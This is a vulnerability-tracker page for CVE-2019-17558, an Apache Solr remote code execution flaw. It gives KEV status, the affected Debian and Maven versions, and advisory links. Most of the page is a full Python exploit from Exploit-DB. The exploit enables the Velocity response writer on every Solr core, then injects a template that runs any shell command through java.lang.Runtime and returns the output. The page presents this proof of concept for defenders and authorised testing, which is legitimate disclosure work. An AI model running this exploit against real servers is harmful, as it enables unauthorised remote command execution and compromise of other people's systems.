CVE-2019-17558
Description
The Apache Solr VelocityResponseWriter plug-in contains an unspecified vulnerability which can allow for remote code execution.
CISA KEV
- Vendor
- Apache
- Product
- Solr
- Due date
- 2022-05-03
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apache Solr 8.2.0 - Remote Code Execution
# Title: Apache Solr 8.2.0 - Remote Code Execution
# Date: 2019-11-01
# Author: @l3x_wong
# Vendor: https://lucene.apache.org/solr/
# Software Link: https://lucene.apache.org/solr/downloads.html
# CVE: N/A
# github: https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template
# usage: python3 script.py ip [port [command]]
# default port=8983
# default command=whoami
# note:
# Step1: Init Apache Solr Configuration
# Step2: Remote Exec in Every Solr Node
import sys
import json
import time
import requests
class initSolr(object):
timestamp_s = str(time.time()).split('.')
timestamp = timestamp_s[0] + timestamp_s[1][0:-3]
def __init__(self, ip, port):
self.ip = ip
self.port = port
def get_nodes(self):
payload = {
'_': self.timestamp,
'indexInfo': 'false',
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'
try:
nodes_info = requests.get(url, params=payload, timeout=5)
node = list(nodes_info.json()['status'].keys())
state = 1
except:
node = ''
state = 0
if node:
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
else:
return {
'node': None,
'state': state,
'msg': 'Get Nodes Failed'
}
def get_system(self):
payload = {
'_': self.timestamp,
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
try:
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1
except:
os_name = ''
os_uname = ''
os_version = ''
state = 0
return {
'system': {
'name': os_name,
'uname': os_uname,
'version': os_version,
'state': state
}
}
class apacheSolrRCE(object):
def __init__(self, ip, port, node, command):
self.ip = ip
self.port = port
self.node = node
self.command = command
self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node
def init_node_config(self):
url = self.url + '/config'
payload = {
'update-queryresponsewriter': {
'startup': 'lazy',
'name': 'velocity',
'class': 'solr.VelocityResponseWriter',
'template.base.dir': '',
'solr.resource.loader.enabled': 'true',
'params.resource.loader.enabled': 'true'
}
}
try:
res = requests.post(url=url, data=json.dumps(payload), timeout=5)
if res.status_code == 200:
return {
'init': 'Init node config successfully',
'state': 1
}
else:
return {
'init': 'Init node config failed',
'state': 0
}
except:
return {
'init': 'Init node config failed',
'state': 0
}
def rce(self):
url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
"%23set($x=%27%27)+"
"%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
"%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
"%23set($str=$x.class.forName(%27java.lang.String%27))+"
"%23set($ex=$rt.getRuntime().exec(%27" + self.command +
"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
"%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
try:
res = requests.get(url=url, timeout=5)
if res.status_code == 200:
try:
if res.json()['responseHeader']['status'] == '0':
return 'RCE failed @Apache Solr node %s\n' % self.node
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE failed @Apache Solr node %s\n' % self.node
def check(ip, port='8983', command='whoami'):
system = initSolr(ip=ip, port=port)
if system.get_nodes()['state'] == 0:
print('No Nodes Found. Remote Exec Failed!')
else:
nodes = system.get_nodes()['node']
systeminfo = system.get_system()
os_name = systeminfo['system']['name']
os_version = systeminfo['system']['version']
print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
'you should change your command with right os platform\n' % (os_name, os_version))
for node in nodes:
res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
init_node_config = res.init_node_config()
if init_node_config['state'] == 1:
print('Init node %s Successfully, exec command=%s' % (node, command))
result = res.rce()
print(result)
else:
print('Init node %s Failed, Remote Exec Failed\n' % node)
if __name__ == '__main__':
usage = ('python3 script.py ip [port [command]]\n '
'\t\tdefault port=8983\n '
'\t\tdefault command=whoami')
if len(sys.argv) == 4:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
check(ip=ip, port=port, command=command)
elif len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
check(ip=ip, port=port)
elif len(sys.argv) == 2:
ip = sys.argv[1]
check(ip=ip)
else:
print('Usage: %s:\n' % usage)
Apache Solr - Remote Code Execution via Velocity Template (Metasploit)
Metasploit modules
OS impact
Debian Affected 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Affected | โ |
| sid | Affected | โ |
| forky | Affected | โ |
| bullseye | Affected | โ |
| bookworm | Affected | โ |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Maven | org.apache.solr:solr-core | >=5.0.0,<8.4.0 | 8.4.0 |
| Maven | org.apache.solr:solr-core | >=6.0.0,<8.4.0 | 8.4.0 |
| Maven | org.apache.solr:solr-core | >=7.0.0,<8.4.0 | 8.4.0 |
| Maven | org.apache.solr:solr-core | >=8.0.0,<8.4.0 | 8.4.0 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
- https://github.com/apache/lucene-solr/pull/1156
- https://lists.apache.org/thread.html/r7f21ab40a9b17b1a703db84ac56773fcabacd4cc1eb5c4700d17c071%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r7f21ab40a9b17b1a703db84ac56773fcabacd4cc1eb5c4700d17c071@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r8a36e4f92f4449dec517e560e1b55639f31b3aca26c37bbad45e31de%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r8a36e4f92f4449dec517e560e1b55639f31b3aca26c37bbad45e31de@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r8e7a3c253a695a7667da0b0ec57f9bb0e31f039e62afbc00a1d96f7b%40%3Csolr-user.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r8e7a3c253a695a7667da0b0ec57f9bb0e31f039e62afbc00a1d96f7b@%3Csolr-user.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r9271d030452170ba6160c022757e1b5af8a4c9ccf9e04164dec02e7f%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r9271d030452170ba6160c022757e1b5af8a4c9ccf9e04164dec02e7f@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r99c3f7ec3a079e2abbd540ecdb55a0e2a0f349ca7084273a12e87aeb%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/r99c3f7ec3a079e2abbd540ecdb55a0e2a0f349ca7084273a12e87aeb@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/ra29fa6ede5184385bf2c63e8ec054990a7d4622bba1d244bee70d82d%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/ra29fa6ede5184385bf2c63e8ec054990a7d4622bba1d244bee70d82d@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/rafc939fdd753f55707841cd5886fc7fcad4d8d8ba0c72429b3220a9a%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/rafc939fdd753f55707841cd5886fc7fcad4d8d8ba0c72429b3220a9a@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/rc400db37710ee79378b6c52de3640493ff538c2beb41cefdbbdf2ab8%40%3Ccommits.submarine.apache.org%3E
- https://lists.apache.org/thread.html/rc400db37710ee79378b6c52de3640493ff538c2beb41cefdbbdf2ab8@%3Ccommits.submarine.apache.org%3E
- https://lists.apache.org/thread.html/rde3dbd8e646dabf8bef1b097e9a13ee0ecbdb8441aaed6092726c98d%40%3Cissues.ambari.apache.org%3E
- https://lists.apache.org/thread.html/rde3dbd8e646dabf8bef1b097e9a13ee0ecbdb8441aaed6092726c98d@%3Cissues.ambari.apache.org%3E
- https://lists.apache.org/thread.html/re8d12db916b5582a23ed144b9c5abd0bea0be1649231aa880f6cbfff%40%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/re8d12db916b5582a23ed144b9c5abd0bea0be1649231aa880f6cbfff@%3Cissues.lucene.apache.org%3E
- https://lists.apache.org/thread.html/rf5230a049d989dbfdd404b4320a265dceeeba459a4d04ec21873bd55%40%3Csolr-user.lucene.apache.org%3E
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.